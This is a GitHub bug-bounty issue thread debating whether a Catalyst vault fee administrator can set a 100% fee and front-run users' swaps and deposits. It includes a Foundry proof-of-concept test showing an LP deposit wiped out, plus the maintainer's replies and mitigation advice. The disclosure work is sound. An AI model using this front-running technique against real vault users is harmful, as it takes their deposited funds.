Open hats-bug-reporter[bot] opened 9 months ago
It is intentional that the fee can be set to 100%.
The minout can be used by users to protect themselves against this. I don't think a check that minout is not 0 is needed since a user can trivially circumvent that check by setting it to 1.
I am aware there is no such comment for the fee administrator (nor do I think there needs to be).
If you can find any way that the fee administrator (since it is expected to not be behind a timelock) hurt liquidity providers, then I would consider this a medium or high. However, since the fee administrator can only do damage that any other MEV sandwich could do of equiv, then I don't consider this an issue.
It is intentional that the fee can be set to 100%.
Just out of curiosity can I ask why is it intentional?
The minout can be used by users to protect themselves against this. I don't think a check that minout is not 0 is needed since a user can trivially circumvent that check by setting it to 1.
The user does not want to intentionally lose value so they won't set it to 1, but it's possible and likely that the user leaves the value zero.
If you can find any way that the fee administrator (since it is expected to not be behind a timelock) hurt liquidity providers, then I would consider this a medium or high. However, since the fee administrator can only do damage that any other MEV sandwich could do of equiv, then I don't consider this an issue.
Thank you, I will dig deeper and see if I can find that.
Just out of curiosity can I ask why is it intentional?
It can be used to freeze the pool for swaps. Because the fee is taken on deposits and not withdrawals you can always withdraw.
It can be used to freeze the pool for swaps. Because the fee is taken on deposits and not withdrawals you can always withdraw.
Thanks, that's a smart solution
If you can find any way that the fee administrator (since it is expected to not be behind a timelock) hurt liquidity providers, then I would consider this a medium or high. However, since the fee administrator can only do damage that any other MEV sandwich could do of equiv, then I don't consider this an issue.
@reednaa I explored the issue further, and found this does apply for liquidity providers as well, as the full amount deposited can be griefed out from the LP by the fee admin. Also applies to the cross-chain sendAsset
functions as they substract the _vaultFee
. I have written a proof of concept with a depositing LP so you can take a look:
catalyst/evm/test/ExampleTest.t.sol
switch out the initial setup function (doesn't really have to)
function setUp() public override {
// Calls setup() on testCommon
super.setUp();
// Create relevant arrays for the vault.
uint256 numTokens = 3;
address[] memory assets = new address[](numTokens);
uint256[] memory init_balances = new uint256[](numTokens);
uint256[] memory weights = new uint256[](numTokens);
// Deploy a token
assets[0] = address(new Token("USDC", "USDC", 18, 1e6));
init_balances[0] = 1000 * 1e18;
weights[0] = 1;
// Deploy another token
assets[1] = address(new Token("USDT", "USDT", 18, 1e6));
init_balances[1] = 1000 * 1e18;
weights[1] = 1;
assets[2] = address(new Token("WETH", "WETH", 18, 1e6));
init_balances[2] = 1 * 1e18;
weights[2] = 1;
// Set approvals.
Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);
Token(assets[2]).approve(address(catFactory), init_balances[2] * 2);
vault1 = catFactory.deployVault(
address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
);
vault2 = catFactory.deployVault(
address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
);
}
run forge test --match-test test_vault_fee_exploit -vvvv
function test_vault_fee_exploit() external {
// 1. Initialization
address alice = makeAddr("Alice");
uint256 aliceBalanceUSDC = 10000 * 1e18;
uint256 aliceBalanceUSDT = 10000 * 1e18;
uint256 aliceBalanceWETH = 10 * 1e18;
address USDC = ICatalystV1Vault(vault1)._tokenIndexing(0);
address USDT = ICatalystV1Vault(vault1)._tokenIndexing(1);
address WETH = ICatalystV1Vault(vault1)._tokenIndexing(2);
deal(USDC, alice, aliceBalanceUSDC);
deal(USDT, alice, aliceBalanceUSDT);
deal(WETH, alice, aliceBalanceWETH);
vm.startPrank(alice);
Token(USDC).approve(vault1, aliceBalanceUSDC);
Token(USDT).approve(vault1, aliceBalanceUSDT);
Token(WETH).approve(vault1, aliceBalanceWETH);
uint256[] memory aliceDepositAmounts = new uint256[](3);
aliceDepositAmounts[0] = aliceBalanceUSDC;
aliceDepositAmounts[1] = aliceBalanceUSDT;
aliceDepositAmounts[2] = aliceBalanceWETH;
vm.stopPrank();
// 3. Deployer front-runs alice with setting vault fees to max
ICatalystV1Vault(vault1).setVaultFee(1e18);
// 2. Alice submits her LP deposit tx
vm.prank(alice);
ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, 0);
// 4. Deployer sets the vault fees back to zero
ICatalystV1Vault(vault1).setVaultFee(0);
// 5. Alice won't get any vault token mints for their deposit
// since vaultFee amount (100%) is substracted
// so Alice can't withdraw their deposited assets because they are not accounted to her
assertEq(Token(vault1).balanceOf(alice), 0);
}
It can be used to freeze the pool for swaps. Because the fee is taken on deposits and not withdrawals you can always withdraw.
The deposits is intentional. Send asset falls under the same category.
To protect your deposit you can set minOut:
ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, 0);
// Should be
ICatalystV1Vault(vault1).depositMixed(aliceDepositAmounts, >0);
And to protect sendAsset check if U is large enough on return. There is no minout check inside the sendAsset call because of space constraints and there is no way that someone is calling sendAsset directly on the contract.
Github username: @0xfuje Twitter username: 0xfuje Submission hash (on-chain): 0x82ca8edd6f7b46cf2d7d9d7052d98aa2d7e177461cbdd0e149bb411b928a6efe Severity: medium
Description:
Impact
User loses total value sent to the vault (meant for swap or cross-chain send)
Description
Whenever a vault is initialized via
CatalystFactory.deployVault()
, the owner of the catalyst factory is set as the fee administrator of the particular deployed vault. The fee administrator can be changed to any address by the factory owner. Regardless of the current role owner, the fee administrator can abuse their privileges and steal all possible value from users while on the surface the vault fee remains normal.catalyst/evm/src/CatalystVaultCommon.sol
-setFeeAdministrator()
One of the weaknesses that allows this vulnerability is the weak upper bound of
_setVaultFee()
as it can be set to 100%. It should be a safer value that still allows to set a relatively high fee, e.g. 20%.catalyst/evm/src/CatalystVaultCommon.sol
-_setVaultFee()
Another weakness to mention is that a lot of users tend to not set
minOut
values, and swapping withing a vault vialocalSwap()
and sending asset viasendAsset()
and other vault actions does not check that theminOut
value is actually zero.Note that if we assume the factory owner never turns malicious, and fee admin role has been transferred, the new fee admin can still grief users to lose all of their value used via the vault.
catalyst/evm/src/CatalystVaultVolatile.sol
-localSwap()
Note: This is medium severity and not high because only the fee administrator can exploit it which is either the factory owner or an address set by the factory owner.
Proof of Concept
localSwap()
(or any other function that has a fee) and leavesminOut
on the initial value (zero)setFeeVault()
with1e18
SafeTransferLib
and overwhelming majority of ERC20s does not revert on zero transfers, no asset transfer has been madeRecommendation
Consider to set a safer upper bound for
_setVaultFee
and_setGovernanceFee
, e.g. 20%. Consider to set a zero value check forminOut
all vault actions. For further safety consider to enforce a timelock on vault fee setting functions (e.g. fees can only be changed in 4 hour) so there is no possible way to abuse the fee admin privileges.